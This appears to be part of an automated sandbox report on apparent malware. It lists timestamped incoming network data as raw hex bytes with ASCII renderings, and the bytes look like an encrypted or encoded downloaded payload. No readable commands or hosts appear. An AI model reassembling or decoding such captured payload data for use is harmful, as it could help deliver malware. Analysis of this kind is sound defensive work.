0c 26 bc 91 e4 9e 6d 0f 07 2b a7 83 f9 89 64 01 0c 26 98 a9 c8 aa 6d 0f 07 2b 83 bb d5 bd 64 01 0c 26 5f da 77 9d 6d 0f 
07 2b 44 c8 6a 8a 64 01 0c 26 7b e2 5b a9 6d 0f 07 2b 60 f0 46 be 64 01 0c 26 17 aa 2f f5 6d 0f 07 2b 0c b8 32 e2 64 01 
0c 26 33 92 03 c1 6d 0f 07 2b 28 80 1e d6 64 01 0c 26 cf 3a c7 4d 6d 0f 07 2b d4 28 da 5a 64 01 0c 26 eb 02 eb 79 6d 0f 
07 2b f0 10 f6 6e 64 01 0c 26 87 4a 9f 25 6d 0f 07 2b 9c 58 82 32 64 01 0c 26 a3 72 b3 11 6d 0f 07 2b b8 60 ae 06 64 01 
0c 26 12 ac fa 4b 6d 0f 07 2b 09 be e7 5c 64 01 0c 26 36 
Data Ascii:  m+[+=d&,qTNm+7cIYd&Ixzm+[emd&m+d&m+d&m+d&m+d&_wm+Djd&{[m+`Fd&/m+2d&3m+(d&:Mm+
(Zd&ym+nd&J%m+X2d&rm+`d&Km+\d&6

2022-02-08 23:07:13 UTC 992 IN Data Raw: 0c 39 64 01 0c 19 64 01 0c 59 64 01 0c d9 64 01 0c c2 64 01 0c f4 64 01 0c f4 64 01 0c f4 74 01 0c f4 74 00 0e 
f7 70 05 08 f0 78 0c 02 fb 74 01 0c f4 74 01 0c f4 74 01 0c f4 74 01 0c f4 74 01 0c f4 74 10 2e c7 30 45 48 b0 b8 dc e2 0b 
74 01 0c f4 1d c5 ec 2c 77 be e8 1c af 73 5f 9c df c7 9a c6 c7 c7 9a c6 c7 c6 98 c5 c3 c3 9e c2 cb ca 94 c9 c7 c7 9a c6 d7 
d6 88 d5 c3 c3 9e c2 c3 c3 9e c2 c3 c3 9e c2 c3 d2 bc f1 87 87 da 86 0f 1e 70 3d c3 c3 9e c2 1e 6a e2 66 98 26 3d 86 f6 
89 4d 26 1a 84 3c b7 3a 84 3c b7 3a 85 3e b4 3e 80 38 b3 36 89 32 b8 3a 84 3c b7 2a 95 2e a4 3e 80 38 b3 26 99 22 a8 
3a 84 3c b7 3a 95 1e 84 7e c0 78 f3 f6 59 d2 48 3a 84 3c b7 b4 26 8b 7d e5 41 ce c2 0f bd 87 52 44 f4 e7 db 2f 91 9e db 
5b fc ee db 5b fc ee db 5b fc ee db 5b fc ee db a3 
Data Ascii: 9ddYdddddttpxtttttt.0EHt,ws_p=jf&=M&<:<:>>862:<*.>8&":<:~xYH:<&}ARD/[[[[

2022-02-08 23:07:13 UTC 994 IN Data Raw: 90 e9 1a cf fe bf 7b a3 97 db 1a d7 f2 ee 1a d7 f2 ee 68 d7 f2 ee 68 d7 f2 ee 68 d7 f2 ee 97 28 0d 11 68 d7 f2 
ee 97 28 0d 11 68 d7 f2 ee 97 28 0d 11 68 d7 f2 ee 97 28 0d 11 68 d7 f2 ee 97 28 0d 11 68 d7 f2 ee 97 28 0d d0 68 d7 f2 
ef 5c e2 c4 d8 64 db fe e3 58 e6 01 1c a7 18 fe e3 58 18 ff e1 5b 1c fa e7 5c 14 f3 ed 57 18 fe e3 58 08 ef f1 4b 1c fa e7 
5c 04 e3 18 a3 fb 1c e7 5c e1 07 fb 41 ff 18 db 60 dd 3b ff 45 fb 1c d7 6c d1 37 fb 41 ff 18 cb 70 cd 2b 34 8f 32 d4 cb 70 
cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 
cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 
cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 
Data Ascii: {hhh(h(h(h(h(h(h\dXX[\WXK\\A`;El7Ap+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p

2022-02-08 23:07:13 UTC 996 IN Data Raw: a7 48 e5 b7 a7 48 af b7 a7 48 e5 b7 a7 48 ae b7 a7 48 e5 b7 a7 48 a9 b7 a7 48 e5 b7 a7 48 a8 b7 a7 48 e5 
b7 a7 48 ab b7 a7 48 e5 b7 a7 48 aa b7 a7 48 e5 b7 a7 48 b5 b7 a7 48 e5 b7 a7 48 b4 b7 a7 48 e5 b7 a7 48 b7 b7 a7 48 
e5 b7 a7 48 b6 b7 a7 48 e5 b7 a7 48 b1 b7 a7 48 e5 b7 a7 48 b0 b7 a7 48 e5 b7 a7 48 b3 b7 a7 48 e5 b7 a7 48 b2 b7 a7 
48 e5 b7 a7 48 bd b7 a7 48 e5 b7 a7 48 bc b7 a7 48 e5 b7 a7 48 bf b7 a7 48 e5 b7 a7 48 84 b7 a7 48 e5 b7 a7 48 87 b7 
a7 48 e5 b7 a7 48 86 b7 a7 48 e5 b7 a7 48 81 b7 a7 48 e5 b7 a7 48 80 b7 a7 48 e5 b7 a7 48 83 b7 a7 48 e5 b7 a7 48 82 
b7 a7 48 e5 b7 a7 48 8d b7 a7 48 e5 b7 a7 48 8c b7 a7 48 e5 b7 a7 48 8f b7 a7 48 e5 b7 a7 48 8e b7 a7 48 e5 b7 a7 48 
89 b7 a7 48 e5 b7 a7 48 88 b7 a7 48 e5 b7 a7 48 8b b7 a7 48 e5 b7 a7 48 8a 
Data Ascii: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH

2022-02-08 23:07:13 UTC 998 IN Data Raw: b0 1a dc c1 bd 1a c5 a5 b1 1a dc f1 ba 1a c5 c5 b0 1a dc b7 a5 fa dd a2 ad fa c8 d6 a1 fa dd b2 aa fa c8 86 a0 
fa dd f4 b1 1a dc ea b8 1a c2 0e 1e 1a dc 7a bb 1a c2 4e 1f 1a dc 4f bd 1a cc 1f bd 1a cd 14 bf 1a c6 26 b8 2a c7 2d bb 
2a cc 2c 9d 2a c8 1c 9d 2a c9 3d 96 2a e8 59 0a 2a c9 6d 90 2a e8 6c 04 2a fa 9c 14 ca f4 4c 18 ba ff 1c 18 ba fe 1b 1a 
ba f9 1a 23 ba f8 0a 20 ba e8 0b a4 ba e1 3b a4 ba e0 27 a8 ba fc 43 b9 ba e0 17 b6 ba fc 23 b8 ba e0 51 a0 4a f6 b1 b4 
9a e4 71 a4 ea e5 53 af ea c7 b7 32 ea e5 c3 ae ea c7 a7 35 ea e5 93 af ea c7 92 37 ea d3 c2 37 ea d2 de 3b ea ce ba 2f 
ea d2 ee 3c ea ce da 2e ea d2 68 36 1a c4 88 22 ca d6 48 32 ba d7 57 39 ba c8 23 1b ba d7 47 3a ba c8 73 1a ba d7 72 
06 ba c3 92 14 7a d3 c2 14 7a d2 cb 17 7a db ca 13 7b d9 
Data Ascii: zNO&*-*,**=*Y*m*l*L# ;'C#QJqS2577;/<.h6"H2W9#G:srzzz{

2022-02-08 23:07:13 UTC 1000 IN Data Raw: a8 b9 d0 46 ac b9 da 72 a2 b9 d0 e0 a4 c9 18 37 a5 c9 58 37 a5 c9 59 31 a7 c9 5f 63 a5 f9 5e 63 a5 f9 5f 65 
a7 f9 59 57 a5 c9 58 4e af c9 41 3a a4 c9 58 5e ae c9 41 0a a7 c9 58 3e af c9 41 6c ba 39 40 63 be 39 4f 57 b8 39 40 65 
b3 49 51 79 b9 49 4d 1d b6 49 51 29 b8 49 4d 5b a0 b9 5b bb b4 69 49 7b a4 19 f9 8f a5 19 f8 8f a5 19 e3 24 a4 19 cc 88 
a5 19 4c 3b a7 19 4c 3b a7 19 5d 34 a3 19 52 00 a4 19 5d 32 af 69 ed c6 ae 69 ec c6 ae 69 87 6b af 69 f2 c6 ae 69 1c 75 
ac 69 1c 75 ac 69 0d 60 a4 69 18 14 af 69 0d 70 a5 69 18 44 ac 69 0d 16 bd 89 bd e2 bc 89 bf e2 bc 89 ba 4c bd 89 9d e2 
bc 89 39 51 be 89 39 51 be 89 15 ff bf 89 55 51 be 89 f1 e2 bc 89 f1 e2 bc 89 e0 fb b4 89 f9 8f bc 89 e0 eb bb 89 f9 df bd 
89 e0 ed a8 69 50 19 a9 69 51 19 a9 69 07 a9 a8 69 6d 
Data Ascii: Fr7X7Y1_c^c_eYWXNA:X^AX>Al9@c9OW9@eIQyIMIQ)IM[[iI{$L;L;]4R]2iiikiiuiui`iipiDiL9Q9QUQiPiQiim

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:13 UTC 1002 IN Data Raw: ab 5b 48 36 a5 5b 5b 05 ab 29 51 f5 a3 c9 57 25 a7 09 55 75 a7 09 9d a2 a6 09 ad a2 a6 09 bc ad a0 09 b3 c9 
a9 09 bc fd a1 09 b3 af aa 79 03 5b ab 79 02 5b ab 79 90 1e a9 79 94 58 ab 79 53 ed a9 79 53 ed a9 79 42 f0 a5 79 5f 34 
a8 79 42 40 a4 79 5f 24 af 79 42 10 a5 79 5f 42 bc 89 48 a2 a9 59 f8 56 a8 59 fa 56 a8 59 a3 11 aa 59 d2 56 a8 59 2b e3 
aa 59 2b e3 aa 59 d5 a5 a8 59 56 ed aa 59 42 5b a8 59 42 5b a8 59 43 4b ae 59 53 3f a9 59 43 0b af 59 53 39 a3 b9 42 
2c ab b9 57 58 a3 b9 42 3c a4 b9 57 08 a2 b9 42 3a b3 49 f2 ce b2 49 f3 ce b2 49 90 88 b0 49 10 ce b2 49 f0 7b b0 49 f0 
7b b0 49 e1 6a b6 49 f0 5e bc 49 e1 6c b1 a9 ea 1c bb c9 5a e8 ba c9 5b e8 ba c9 48 a3 b8 c9 1f e8 ba c9 32 5e b8 c9 32 
5e b8 c9 23 54 bc c9 29 60 b0 c9 23 f2 b6 b9 93 06 b7 b9 92 
Data Ascii: [H6[[)QW%Uuy[y[yyXySySyBy_4yB@y_$yBy_BHYVYVYYVY+Y+YYVYB[YB[YCKYS?YCYS9B,WXB<WB
:IIIII{I{IjI^IlZ[H2^2^#T)`#

2022-02-08 23:07:13 UTC 1004 IN Data Raw: e2 5d c8 02 fd 5d d7 76 e3 5d c8 12 fe 5d d7 26 e2 5d c8 27 f8 5d dc 77 f8 5d dd 6c f2 5d c6 18 fc 5d dd 7c f1 
5d c6 48 fd 5d dd 3a e9 ad cf da f9 fd d6 fc f3 fd c2 fd fa fc cf 0d f1 1c c6 dd f6 dc c3 ad f2 bc c0 fd f0 8c 08 2a f1 8c 38 22 
f1 8c 20 87 f2 8c 20 87 f2 8c 20 87 f2 8c e0 37 f1 8c 50 f7 f3 8c 38 53 f0 8c 38 53 f0 8c 38 53 f0 8c 6a e1 f3 8c 6a 21 f1 8c 
e2 88 f2 8c e2 88 f2 8c e2 88 f2 8c 88 3b f1 8c a8 fe f3 8c 58 57 f0 8c 58 57 f0 8c 58 57 f0 8c 2e e4 f3 8c a6 21 f1 8c a6 21 
f1 8c a6 21 f1 8c a6 21 f1 8c a6 21 f1 8c a6 21 f1 8c 6e 90 f2 8c 6e 90 f2 8c 82 20 f1 8c 82 20 f1 8c 14 97 f2 8c 14 97 f2 8c 
b8 20 f1 8c b8 20 f1 8c 7c 97 f2 8c 7c 97 f2 8c 46 25 f1 8c 46 25 f1 8c 60 97 f2 8c 60 97 f2 8c 78 25 f1 8c 78 25 f1 8c 7c 97 
f2 8c 7c 97 f2 8c 86 
Data Ascii: ]]v]]&]']w]l]]|]H]:*8"   7P8S8S8Sjj!;XWXWXW.!!!!!!nn    ||F%F%``x%x%||

2022-02-08 23:07:13 UTC 1006 IN Data Raw: 89 cf d3 c7 19 69 64 47 af d8 d5 e1 02 6f 52 4b b3 c9 f2 fc 1f 78 48 7e dc 78 8c 7f 58 de 3b ff ee 6f 8a 59 43 
d8 0d f3 f2 7e ad 44 5e cf 17 c6 9d cf 7e c5 13 79 d1 72 b9 f8 6b c5 1f 6f c7 51 b5 c8 61 d1 1e 6a d0 12 d8 6b 54 b4 6f eb 
e2 05 de 4d 4f b2 4d fc e3 12 eb 4c 53 d1 21 4d d7 77 96 cd 61 c6 27 6b cc 71 b0 c0 7d d7 12 67 be d7 d1 64 2f 71 73 c3 
aa db dc 65 69 db b9 65 e9 77 14 c8 4f d7 a3 45 ed 79 05 e2 7e d3 b6 44 bd d3 29 44 3d 62 8f e6 8a c4 02 44 24 62 a5 
d7 8e d1 03 55 4d d1 fc 51 d8 7b 4d e6 6e d9 e2 75 df 75 55 d3 7f c2 d3 68 bc c2 1d 6c 2b 64 ac c2 81 c9 0e 75 27 5a bf 
d9 87 fc 0f 69 44 fc c9 6a d5 5a 6b cd 46 eb c7 6d e0 5b 77 e3 46 f5 db 52 fc 36 e6 57 68 87 4c e0 ce 14 fd 4c 6e b2 4d fc 
e0 14 e3 50 51 ae 20 50 dc ac a4 f6 6b 3b 0f 47 cd 
Data Ascii: idGoRKxH~xX;oYC~D^~yrkoQajkToMOMLS!Mwa'kq}gd/qseiewOEy~D)D=bD$bUMQ{MnuuUhl+du'
ZiDjZkFm[wFR6WhLLnMPQ Pk;G

2022-02-08 23:07:13 UTC 1008 IN Data Raw: c9 f2 ae 87 0a f2 bb 87 88 43 1d 02 22 ec bb 80 91 46 0b 02 1c d6 81 c1 90 d7 05 67 27 57 a9 c9 89 f5 04 6e 
06 5f a9 c8 84 9c 62 c9 00 3a d5 49 b6 8b 64 ef 1b 3c f3 44 aa 9a 51 e3 20 3d 92 e3 4b 3f 16 45 fc af a1 e2 77 0d 0c 45 
d8 ab cf 45 c2 a9 4b e3 75 27 e7 44 c3 88 41 c1 69 27 e7 4c cb 89 41 d8 08 89 43 db 82 39 c4 7d 23 8f 60 d9 85 3e f3 68 
23 8e 55 c5 94 4d 53 c6 1e fd c0 77 b2 5d 66 c7 02 f1 d7 42 a4 53 60 f4 15 f5 f3 45 b3 45 55 e8 04 86 a7 e8 82 2b 10 4e 
33 ab a1 e4 84 01 01 46 2b 91 a7 e6 9c 3b 0b 4b 5f 3b 30 48 d0 9d 92 fd 76 1d 23 57 c1 b7 83 f5 6e 27 25 55 d9 8d 89 f8 
1a 8d 62 fa 90 20 c8 4d 3a 82 67 e7 83 24 e7 56 29 93 4d f6 8b 3c dd 50 2b 8b 77 fc 86 09 da 5b 16 ba 70 f6 96 16 c6 5b 
21 d5 14 5b a6 73 bb fd 11 d5 3b 4c bb 62 91 ec 19 cd 01 
Data Ascii: C"Fg'Wn_b:Id<DQ =K?EwEEKu'DAi'LAC9}#`>h#UMSw]fBS`EEU+N3F+;K_;0Hv#Wn'%Ub M:g$V)M<P+w[p[![
s;Lb

2022-02-08 23:07:13 UTC 1010 IN Data Raw: 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 1f 16 ed a8 21 38 c3 86 0f 16 ed a8 21 38 
c3 86 0f 16 ed a8 21 38 de 86 0c 16 b0 8d 55 51 f0 c7 12 0d fb b5 4f 5a a6 ec 0e 03 be f6 7c 5f e5 b6 36 1d a7 ab 2a 1d 
ec fd 61 33 c2 d3 4f 1d ec fd 61 33 c2 d3 4f 1d ec fd 
Data Ascii: ?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8!8!8!8UQOZ|_6*a3Oa3O

2022-02-08 23:07:13 UTC 1012 IN Data Raw: 44 1a f8 a3 6a 34 d6 8d 44 1a f8 a3 6a 34 d6 bb 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 
6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 
6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 
6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 05 d6 3a 44 29 f8 15 
6a 24 d6 3a 44 08 f8 16 6a 1c d6 3b 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 
9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c 
d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 
Data Ascii: Dj4Dj4Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj:D)j$:Dj;Dj?Dj?Dj?Dj?Dj?Dj?Dj?Dj?Dj?
Dj?Dj

2022-02-08 23:07:13 UTC 1014 IN Data Raw: ab 9a a5 5e ab 9a 5a a1 54 65 5a a1 54 65 68 03 8b 48 f1 28 8b 48 3c 75 ab 9a 5a a1 54 65 5a a1 54 65 5a a1 
54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a 
a1 54 65 5a a1 54 65 5a a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 
5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 
65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 
54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5b 
a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a 
Data Ascii: ^ZTeZTehH(H<uZTeZTeZTe[Te[Te[Te[TeZTeZTeZTeZTeZTeZTeZTeZTe[Te[Te[Te[TeZTeZTeZT
eZTeZTeZTeZTeZTe[Te[Te[Te[TeZTeZTeZTeZTe[Te[Te[Te[Te[Te[Te[Te[TeZTeZTeZTeZTeZTeZTeZTeZTe[Te[Te[Te[Te
ZTeZTeZ

2022-02-08 23:07:13 UTC 1016 IN Data Raw: 20 ee 8b 11 20 ee 8b 11 20 ee 8b 11 20 ee 4b 63 24 6e 4a 63 24 6e 4b 62 24 6e 4b 62 24 6e 4b 62 24 6e 4b 
72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 49 72 24 6e 
48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 
6e 48 72 24 6e 4a 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 
24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 
72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 
48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 
Data Ascii:     Kc$nJc$nKb$nKb$nKb$nKr$nKr$nKr$nKr$nKr$nKr$nKr$nKr$nKr$nIr$nHr$nHr$nHr$nHr$nHr$nHr$n
Hr$nHr$nHr$nHr$nHr$nJr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$n
Hr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nH

2022-02-08 23:07:13 UTC 1018 IN Data Raw: 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 
6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e ff a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee 
fe a8 26 ee fe a8 26 ee 2e 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e ff 
a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee 2e 76 25 6e 2f 76 25 6e 2f 76 
25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e ff a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 
ee fe a8 26 ee ff a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee be 4b 25 6e 
bf 4b 25 6e bf 4b 25 6e bf 4b 25 6e bf 
Data Ascii: %n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n&&&&&&&&.v%n/v%n/v%n/v%n
/v%n/v%n/v%n/v%n&&&&&&&&.v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n&&&&&&&&&&&&&&K%nK%nK%nK%n

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:13 UTC 1020 IN Data Raw: a5 93 28 4e a5 93 ca 2a a5 93 ea 8b a6 93 be ee a6 93 1e 89 a6 93 22 28 a5 93 d2 4f a5 93 23 27 a5 93 b7 a8 
a6 93 43 c0 a6 93 91 a9 a6 93 e9 3a a5 93 3d 53 a5 93 e9 39 a5 93 01 99 a6 93 d5 f3 a6 93 3a 98 a6 93 52 07 a5 93 42 
6b a5 93 37 07 a5 93 0f 90 a6 93 77 fc a6 93 a8 90 a6 93 44 0c a5 93 a4 60 a5 93 a7 0e a5 93 77 af a6 93 73 c1 a6 93 6a 
ae a6 93 ba 0f a5 93 f2 60 a5 93 4e 0f a5 93 76 98 a6 93 ca f7 a6 93 4a 87 a6 93 3e 16 a5 93 be 66 a5 93 51 16 a5 93 c1 
9d a6 93 31 ed a6 93 fe 9c a6 93 a6 3d a5 93 76 4c a5 93 46 3e a5 93 d6 b5 a6 93 e6 c7 a6 93 61 b5 a6 93 b5 26 a5 93 
21 54 a5 93 96 26 a5 93 fa 87 a6 93 42 f5 a6 93 46 86 a6 93 92 15 a5 93 be 66 a5 93 d5 12 a5 93 05 84 a6 93 69 f0 a6 9
3 94 85 a6 93 e0 24 a5 93 84 52 a5 93 9c 25 a5 93 a4 b2 a6 93 bc 
Data Ascii: (N*"(O#'C:=S9:RBk7wD`wsj`NvJ>fQ1=vLF>a&!T&BFfi$R%

2022-02-08 23:07:13 UTC 1022 IN Data Raw: a4 93 7f cc a7 93 f3 c5 a6 93 28 cc a7 93 fc 5f a4 93 20 56 a5 93 8a 5c a4 93 5a fd a7 93 9a f7 a6 93 07 fc a7 
93 3f 6b a4 93 9f 60 a5 93 05 6c a4 93 f1 e1 a7 93 6d ed a6 93 eb e0 a7 93 e3 7f a4 93 6b 72 a5 93 90 7f a4 93 80 f1 a7 
93 7c fc a6 93 09 f2 a7 93 19 7c a4 93 61 72 a5 93 c9 7d a4 93 95 f3 a7 93 3d fc a6 93 32 ed a7 93 4e 63 a4 93 5e 72 a5 
93 03 60 a4 93 27 ee a7 93 47 fc a6 93 35 ef a7 93 75 61 a4 93 01 72 a5 93 dd 61 a4 93 4d ea a7 93 91 f9 a6 93 50 ec a7 
93 e8 62 a4 93 2c 77 a5 93 11 60 a4 93 89 ee a7 93 c9 f9 a6 93 1a ee a7 93 ca 4f a4 93 1e 58 a5 93 00 40 a4 93 e8 d6 
a7 93 c8 ce a6 93 ca d7 a7 93 22 59 a4 93 26 40 a5 93 96 5a a4 93 46 d4 a7 93 f6 ce a6 93 c2 d5 a7 93 7e 4f a4 93 4a 54 
a5 93 17 4f a4 93 df dc a7 93 bf c7 a6 93 2d dc a7 93 3d 
Data Ascii: (_ V\Z?k`lmkr||ar}=2Nc^r`'G5uaraMPb,w`OX@"Y&@ZF~OJTO-=

2022-02-08 23:07:13 UTC 1024 IN Data Raw: a6 93 91 59 a7 93 e5 c8 a4 93 75 69 a5 93 01 cf a4 93 d1 5c a7 93 51 fa a6 93 d1 5d a7 93 0d ce a4 93 8d 69 
a5 93 4c ce a4 93 98 5d a7 93 5c fa a6 93 86 5d a7 93 52 ce a4 93 8e 69 a5 93 ac c0 a4 93 3c 4b a7 93 18 e2 a6 93 52 
4b a7 93 86 d8 a4 93 da 71 a5 93 d1 db a4 93 41 50 a7 93 59 fa a6 93 3a 50 a7 93 ee c3 a4 93 8a 69 a5 93 1d c3 a4 93 
e9 50 a7 93 71 fa a6 93 a0 50 a7 93 30 db a4 93 dc 71 a5 93 5d dd a4 93 5d 49 a7 93 cd e5 a6 93 6b 49 a7 93 bf da a4 9
3 17 76 a5 93 35 db a4 93 a5 50 a7 93 81 fd a6 93 0b 50 a7 93 3b c4 a4 93 b7 69 a5 93 d6 c7 a4 93 82 53 a7 93 f2 fd a6 
93 0c 52 a7 93 b0 c6 a4 93 b0 76 a5 93 3f c6 a4 93 af 52 a7 93 3f e2 a6 93 5a 53 a7 93 8e c0 a4 93 0e 71 a5 93 c0 c0 a4 
93 18 54 a7 93 c8 e5 a6 93 27 56 a7 93 3f c3 a4 93 cf 70 a5 93 c2 
Data Ascii: Yui\Q]iL]\]Ri<KRKqAPY:PiPqP0q]]IkIv5PP;iSRv?R?ZSqT'V?p

2022-02-08 23:07:13 UTC 1026 IN Data Raw: a7 93 65 29 a5 93 45 6f a7 93 95 f4 a4 93 b5 b2 a6 93 03 f4 a4 93 4f 68 a7 93 f7 2e a5 93 59 66 a7 93 a1 fd a4 
93 11 b5 a6 93 4b fc a4 93 77 60 a7 93 2b 29 a5 93 fb 60 a7 93 97 c1 a4 93 47 88 a6 93 3a c2 a4 93 42 51 a7 93 ee 1b 
a5 93 6d 50 a7 93 15 cc a4 93 91 87 a6 93 cc cb a4 93 6c 57 a7 93 0c 1b a5 93 e9 57 a7 93 89 cc a4 93 61 80 a6 93 7b 
cd a4 93 93 5b a7 93 b7 16 a5 93 e7 58 a7 93 4b d7 a4 93 13 99 a6 93 16 c9 a4 93 ba 46 a7 93 b2 16 a5 93 eb 47 a7 93 
27 db a4 93 43 8a a6 93 fe db a4 93 1a 47 a7 93 da 16 a5 93 e3 44 a7 93 0f d8 a4 93 5f 8a a6 93 ee d8 a4 93 3a 4b a7 9
3 8e 19 a5 93 30 4a a7 93 cc d6 a4 93 0c 85 a6 93 20 d1 a4 93 24 4c a7 93 08 18 a5 93 2e 40 a7 93 d2 dc a4 93 92 84 
a6 93 95 dd a4 93 85 40 a7 93 ad 19 a5 93 b7 43 a7 93 87 de a4 93 9b 
Data Ascii: e)EoOh.YfKw`+)`G:BQmPlWWa{[XKFG'CGD_:K0J $L.@@C

2022-02-08 23:07:13 UTC 1028 IN Data Raw: 94 91 b2 bf a4 35 f2 1b f4 91 92 bf 84 35 12 1b 14 91 b2 bf a4 35 72 1b 74 91 92 bf 84 35 92 1a 94 90 b2 bf a4 
35 f2 1a f4 90 92 bf 84 35 12 1a 14 90 b2 bf a4 35 72 1a 74 90 92 bf 84 35 92 19 94 93 b2 bf a4 35 f2 19 f4 93 92 bf 84 35 
12 19 14 93 b2 bf a4 35 72 19 74 93 92 bf 84 35 92 18 94 92 b2 bf a4 35 f2 18 f4 92 92 bf 84 35 12 18 14 92 b2 bf a4 35 
72 18 74 92 92 bf 84 35 92 17 94 9d b2 bf a4 35 f2 17 f4 9d 9a bf 8c 35 12 17 14 9d ba bf ac 35 72 17 74 9d 9a bf 8c 35 
92 16 94 9c ba bf ac 35 f2 16 f4 9c 9a bf 8c 35 12 16 14 9c ba bf ac 35 72 16 74 9c 9a bf 8c 35 92 15 94 9f ba bf ac 35 f2 
15 f4 9f 9a bf 8c 35 12 15 14 9f ba bf ac 35 72 15 74 9f 9a bf 8c 35 92 14 94 9e ba bf ac 35 f2 14 f4 9e 9a bf 8c 35 12 14 
14 9e ba bf ac 35 72 14 74 9e 9a bf 8c 35 92 
Data Ascii: 555rt5555rt5555rt5555rt5555rt5555rt5555rt5555rt5
